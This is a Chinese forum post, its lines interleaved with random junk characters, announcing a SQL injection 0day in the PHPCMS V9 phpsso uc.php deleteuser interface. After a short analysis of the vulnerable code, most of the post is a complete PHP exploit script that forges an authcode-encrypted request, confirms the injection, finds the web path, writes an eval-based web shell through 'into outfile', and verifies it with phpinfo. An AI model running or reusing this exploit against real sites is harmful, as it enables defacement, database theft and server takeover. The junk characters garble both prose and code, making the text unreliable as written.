PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。; t4 ~ S( M0 h, Q3 d
3 V5 D1 H8 d. z& x; }' L' w所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
. }5 O5 p2 T8 I4 s
9 c0 w( s( V7 q漏洞分析:0 V4 o8 u/ R* V% E8 w6 s1 x) G
1.未启用ucenter服务的情况下uc_key为空+ p9 B5 u# s' G0 R3 s( q
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
+ t% ~8 ^ s0 O/ S6 F: X8 d2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。/ x" j8 \2 g! K N+ c* @; Y. G
public function deleteuser($get,$post) {; G4 n( F' q. j6 F! D2 P
pc_base::load_app_func('global', 'admin');( x+ u3 ^/ E# \
pc_base::load_app_class('messagequeue', 'admin' , 0);9 a. N1 |4 D# d& L5 J! E
$ids = new_stripslashes($get['ids']);5 t$ w% t* r- M) X" z3 {7 a
$s = $this->member_db->select("ucuserid in ($ids)", "uid");- G* N- Z! O4 l; E& [& ]/ a( J
SQL语句为4 R8 t, {0 G8 ^' o
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
" v& e" d5 S' r' \- l7 D
% h4 H9 L3 v J9 G) k利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* |5 e1 V1 s$ H% \
<?php
9 z2 l) h& n: oprint_r('7 ^/ c5 k w+ K4 w& ^1 ]
---------------------------------------------------------------------------
# V' y+ Q' w, u, }- ]PHPcms (v9 or Old Version) uc api sql injection 0day
/ H) Y, m! L. W7 aby rayh4c#80sec.com2 N3 c1 g) l5 ?+ S' H
---------------------------------------------------------------------------
# E5 B9 K: m, I g4 l');
z" g$ m8 ?# r* t1 j
! g& L# H9 z$ T* q! O5 }- Bif ($argc<3) {
6 s7 J# f3 A7 D# h4 E$ y print_r('
; W0 {9 ]8 S, q: @---------------------------------------------------------------------------
5 |6 u% U: j( a' A# \: Y2 YUsage: php '.$argv[0].' host path OPTIONS
3 _/ W7 d# e$ L, P! p# bhost: target server (ip/hostname)
) p5 I5 X6 L+ X9 J2 ^1 S' T$ G) A @+ Upath: path to phpcms* g; I( |* s) X- k( P
Options:# K- ]' ^5 W. W
-p[port]: specify a port other than 806 `0 V" @( g( ^6 O% J! ~1 S2 g
-P[ip:port]: specify a proxy
5 q- i* D" V1 k* B! T' fExample:
# p2 a0 @7 S- `* }php '.$argv[0].' localhost /0 n O& H" s1 j H
php '.$argv[0].' localhost /phpcms/ -p81- \# {6 S! R) Q+ N4 [
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80* N, X& \# h1 c1 T
---------------------------------------------------------------------------; ^1 [$ R" @0 z: _0 k
');+ N3 M% ^, A( ^6 I
die;
% m2 g& o- {1 H* g- a( i}
, O3 B7 V2 ?1 W# ~1 l* Y {6 Q: P9 R& x7 P- B) X: }& o* l8 i
error_reporting(7);5 |/ `9 k. p) J/ `
ini_set("max_execution_time",0);
+ O! L# }4 f4 n7 R4 ]) [% Oini_set("default_socket_timeout",5);
7 L" R+ x% ~$ B$ P5 W
0 T, U5 M; ~2 }! [function quick_dump($string)$ g; i7 q7 C% x' `! ~+ T% j
{
, i: S; M% e6 K( D) O) L $result='';$exa='';$cont=0;
V4 s( s' k& k! j4 q for ($i=0; $i<=strlen($string)-1; $i++)
2 K/ b8 [5 r& {! K7 i: _( I {+ Q T8 o7 W# q* y& z0 `9 m
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) ?& S/ S5 E( l' E |4 j" C
{$result.=" .";}
. |( a x; }4 p9 n7 d else
' \9 A" p$ g1 |% p& S" W {$result.=" ".$string[$i];}8 K9 S8 \" v# j$ T2 f7 e
if (strlen(dechex(ord($string[$i])))==2)7 b0 S, s$ ]" x6 D+ ~
{$exa.=" ".dechex(ord($string[$i]));}
& m) X T9 _9 A6 a6 { else+ O1 P$ w% w; G" p) e
{$exa.=" 0".dechex(ord($string[$i]));}
5 n/ T0 ]. w( n8 y+ d9 K7 j $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ X* \, x( E5 S) F" L R, V }" a3 O6 t7 k" |/ l' p
return $exa."\r\n".$result;
) z$ M s; |4 v* V- }; C! Z! g} i( L" `: d0 p' h
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
0 S6 ?+ _% z% F$ n! L$ w
# q+ o; k6 ~4 c. F3 tfunction send($packet). R$ |! J3 b' w" w; @% A2 i
{
. l4 Z0 i2 I$ ~2 h9 ` global $proxy, $host, $port, $html, $proxy_regex;: v5 y6 ~, t5 M5 ?' A: A- x* Q
if ($proxy=='') {
. @' h& F7 h7 [5 | I* T $ock=fsockopen(gethostbyname($host),$port);. c4 v* c" A, v, V! k2 b1 I, y2 M$ i+ h
if (!$ock) {
" O( \ W% T7 C2 R0 Y echo 'No response from '.$host.':'.$port; die;
2 c! ?7 x$ V1 X/ {. k0 A }
+ I2 Z0 f% J; Z9 z' f1 O0 S# _9 f }2 p, z% s- |. b& H* l9 q: ]
else {# |: @/ q3 i! J$ A! m2 k* W
$c = preg_match($proxy_regex,$proxy);
8 K* p4 R/ i) S9 c4 @0 y/ ~# W T if (!$c) {% S" W. ^9 p, D4 D
echo 'Not a valid proxy...';die;
$ Y' D4 g7 S$ o1 \3 Q0 C1 Q- n }
9 T. {0 x8 i# ^+ M5 X $parts=explode(':',$proxy);) l- E7 w0 }: j3 D3 F1 b
$parts[1]=(int)$parts[1];( i( w! S9 D7 |3 e, D6 p x
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- b) `4 M8 _% \. t. S6 e $ock=fsockopen($parts[0],$parts[1]);
& n+ S+ A X4 g if (!$ock) {1 Q) O5 r, I+ Z$ {8 _
echo 'No response from proxy...';die;
3 P6 k- v9 R7 \8 U5 l, G/ O. p* s }
) _$ d: Q5 N% b6 u }
+ g. q' W. Z' m$ }) _8 Y fputs($ock,$packet);
+ T" ~) y$ p- _6 Z+ F1 p/ B# _ if ($proxy=='') {8 p# F! U) K/ h
$html='';. ]% C- |4 ^9 P+ R* S2 ]. z* L
while (!feof($ock)) {
6 b* V$ F: u: [1 n $html.=fgets($ock);5 e3 \/ N- F* a* Z, g, r! c" R% V
}
6 H7 i( r, L! @( U s5 b+ ^6 C }) [* I6 t# ?. R- L( q6 Z
else {
6 Z1 o3 g* S* I $html='';: J0 q$ o3 D7 E. E3 J+ A$ c) Y
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {. |8 i8 o9 Y8 S. _+ W* c( D3 L
$html.=fread($ock,1);
6 O6 D$ O5 ?2 q7 f3 p- b }
* X/ ]& K% U5 i8 W8 O }
/ L$ M1 P; L2 a2 ~: \6 n0 O fclose($ock);
: S' N+ K" U, l}/ d, K1 d0 P% f: h9 t# N6 z
@, i5 R0 {; ]" N* h! O2 ]
$host=$argv[1];6 W1 q4 w' N8 F
$path=$argv[2];5 M! W$ K7 P/ r0 U
$port=80;- b3 l/ o7 L& d; H& N% u+ L! T
$proxy="";/ U7 d0 H* }2 \- C2 P( k* H3 F
for ($i=3; $i<$argc; $i++){! m: a/ n/ B4 b
$temp=$argv[$i][0].$argv[$i][1];$ I' x" r+ Y; `. o
if ($temp=="-p")9 C+ X! Y( i" u' H1 i' \; d
{9 p! f/ R/ E- ^, s
$port=(int)str_replace("-p","",$argv[$i]); f) z/ s! o$ o. p+ o. `$ R
}
3 a5 X* P5 p, Jif ($temp=="-P")
0 z9 X: l5 X3 l8 N: s+ v3 ?8 c* x{
% m1 T$ m- q8 H8 b3 h8 ?3 }' O $proxy=str_replace("-P","",$argv[$i]);/ C( X3 S" v! {6 m0 O
}
5 Y+ w h" a6 N}
+ N9 l1 k! @3 p+ F3 }; T4 O% ?, {/ y: h2 B: W
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}- [$ f, D( Q' S$ v; O/ h
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
9 a! y' D; }) A5 @( t( T) }- x z& Y+ J8 J Z s+ j' j7 k( o1 {- c
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {! ~0 p* \7 `% U0 E6 \5 H8 ~! o
: S) T) W, x$ v/ V2 ?! y $ckey_length = 4;( Z: p7 ~7 I) s9 s. u
0 |* @3 k& R) i3 m) y# k1 I
$key = md5($key ? $key : '');6 ?" X# _9 y) b; i3 i
$keya = md5(substr($key, 0, 16));
$ E5 L3 m/ K1 V9 A( g $keyb = md5(substr($key, 16, 16));
2 D: f0 i3 _0 q $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';8 [! l3 S; u1 b! }( X% K
# @" U& U/ b4 _0 h. ~9 |
$cryptkey = $keya.md5($keya.$keyc);
: T$ g( h$ @# s, _; X $key_length = strlen($cryptkey);
5 H! q8 ~* U) k: g! m% R2 _7 `
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;7 O, e2 ^. W- T; A
$string_length = strlen($string);
& s* V- S( C3 N* R
- F9 l4 l6 T5 i8 B& Z $result = '';
4 m7 j) l4 K4 K9 I $box = range(0, 255);
. |/ \7 g$ C$ X' L
% S( |( U: B( T W {* l $rndkey = array();- s3 ~ i* F5 m) V6 X
for($i = 0; $i <= 255; $i++) {
$ x/ P) c9 g5 j4 l5 V& ~ $rndkey[$i] = ord($cryptkey[$i % $key_length]);# ^! z1 B$ K$ l5 z" ~* o
}
' k& ?. a, ^, R( \ y. S1 M4 Z% b$ l+ s. o
for($j = $i = 0; $i < 256; $i++) {3 `! T/ h$ @. V9 g1 B4 v( v d
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
9 c# h8 ]# q8 g n, W $tmp = $box[$i];1 K& F D6 N# Z' M) e
$box[$i] = $box[$j];, h5 I2 w1 Q, ~
$box[$j] = $tmp;
, _2 q) N- D& S6 u# K j; a5 o }9 S, Y$ `( k0 v# I$ i4 r6 O
8 P1 M/ S' C7 }* w j% N! k
for($a = $j = $i = 0; $i < $string_length; $i++) {9 Q5 A* R. D5 _2 B
$a = ($a + 1) % 256;
9 ?; M! v: }( \8 Z/ f $j = ($j + $box[$a]) % 256;
) m O% ?6 ]: F. d' } $tmp = $box[$a];
# z ~) u) V# D $box[$a] = $box[$j];3 _7 U. p1 a8 a
$box[$j] = $tmp;! z" J% ^" z @$ j1 T1 h! ?
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));/ U* U% B. q% B% L. C
}5 a( A1 ^) n& B8 c' w6 _2 ^8 _# h
' o" N* A9 r& S# [ if($operation == 'DECODE') {: L, {' L& d# B, G2 v) n+ f
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {- _6 s$ n) ]/ a* Q5 I6 Q6 p; n, A
return substr($result, 26);0 h% c) t2 ^+ B6 Z# K9 [0 I0 v
} else {
# y8 h- B. R. b: @; _' B return '';2 q% F. `* p% u# u; Y4 }
}
: k0 \, Z% K+ } S } else {( s, x+ s7 t7 h- I. X
return $keyc.str_replace('=', '', base64_encode($result));4 R. B8 v# H# E \. e
}" a4 ~0 u* R0 [: o9 B
; c7 i! e& V6 @: s g: K, r
}* | j# N5 u8 i6 w
. I: y/ m+ K) R, R: W" b
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 o$ k' R7 |% n: b- }
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
( `+ z- W& R: w1 Z( L A. O$ k$ cecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 l1 r5 }( @7 B
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";5 i! K) e- q% J7 \
$packet.="User-Agent: Mozilla/5.0\r\n";# f4 s6 `: b6 D. v
$packet.="Host: ".$host."\r\n";
5 k2 ]5 o1 T* B6 R; K* m. _$packet.="Connection: Close\r\n\r\n";$ I/ H# u/ s( Z# {6 w
send($packet);
u+ [2 f$ N1 o4 |# \9 u+ z# p& tif(strpos($html,"MySQL Errno") > 0){' H8 v0 Y" N- q/ _6 [
echo "[2] 发现存在SQL注入漏洞"."\n";
; L2 i. P6 }. { G p3 d: o# I) X5 Hecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. d# I& {! a5 w$ S6 c$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
( R0 i5 j' c/ A8 U$packet.="User-Agent: Mozilla/5.0\r\n";
1 e/ L& u r0 D, p4 z& F0 J$packet.="Host: ".$host."\r\n";
* U' q- V! s2 o* @4 [5 Q9 E; K+ ?' V$packet.="Connection: Close\r\n\r\n";, j7 u6 F2 n% ~1 o4 s( e. x
send($packet);
8 m; R' o$ N u2 Epreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
- p: g/ B" N& ^2 Q! i: q//print_r($matches);
7 ], ]' \6 m, k5 ~. s) fif(!empty($matches)){: D4 {" `. d5 Y( l) p3 g8 E( ^
echo "[4] 得到web路径 " . $matches[0]."\n";% ~5 Q1 ]5 N4 t* W
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
. x4 _ F! ?$ a* V) \5 E5 s5 q$SQL = "time=999999999999999999999999&ids=1)";. u9 R* q7 {, u9 w+ }% ^2 c/ T/ d
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
$ h7 j5 m8 T; S; G) c$SQL.="&action=deleteuser";
8 p8 A& C: U7 S- J2 h, Z9 V$SQL = urlencode(authcode($SQL, "ENCODE", ""));
0 \ j4 {; C/ O3 n% lecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
. \1 T$ Z$ e% O( E$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";' U! C; z/ B' \
$packet.="User-Agent: Mozilla/5.0\r\n";5 I) F$ v% h* ?7 W
$packet.="Host: ".$host."\r\n";3 C$ ]( d! ]. v% z% w; }
$packet.="Connection: Close\r\n\r\n";
9 w; o$ _& x- l3 x b9 nsend($packet);
* o0 ^% s: d# E* `* p% ~1 \if(strpos($html,"Access denied") > 0){
1 M+ u3 c; `* y* G/ Vecho "[-] MYSQL权限过低 禁止写入文件 ";
$ U$ B, G1 V, c2 }die;& C: T7 [2 t. b6 ?4 Q
}
9 I% }- y- E( k& C/ c, techo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";7 f* L4 Q/ l0 R1 `
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
, O4 @) L p& B6 K h. a# x9 M" l$packet.="User-Agent: Mozilla/5.0\r\n";: G7 C( p6 n9 n+ ~
$packet.="Host: ".$host."\r\n";
5 h8 ]0 h# P K6 [$packet.="Connection: Close\r\n\r\n";* f1 U, \9 R a6 w& w! o, L! t2 c% c
send($packet);
3 v: _( L# I* C- yif(strpos($html,"<title>phpinfo()</title>") > 0){7 @- D% p+ D& `8 e# X f8 K
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
2 |! t* o( l4 F( x1 @& i# P}. G* X# B ~0 e! t6 m2 j8 n. ~! `
}else{: V) p" E) H" m3 \/ O
echo "[-]未取到web路径 ";1 v @7 v! Q' p2 ?
}# k' l& m) r! y% A: l/ h3 e% l
}else{
% g# g0 k, y. U: fecho "[*]不存在SQL注入漏洞"."\n";
0 _4 s' T: V. Q/ [$ A ~}
; @1 L: Q$ J+ K: z, c4 y, T2 ?9 m/ z% f3 c' E! d$ X
?>4 S& K: ~2 @5 v0 `- Y+ y
|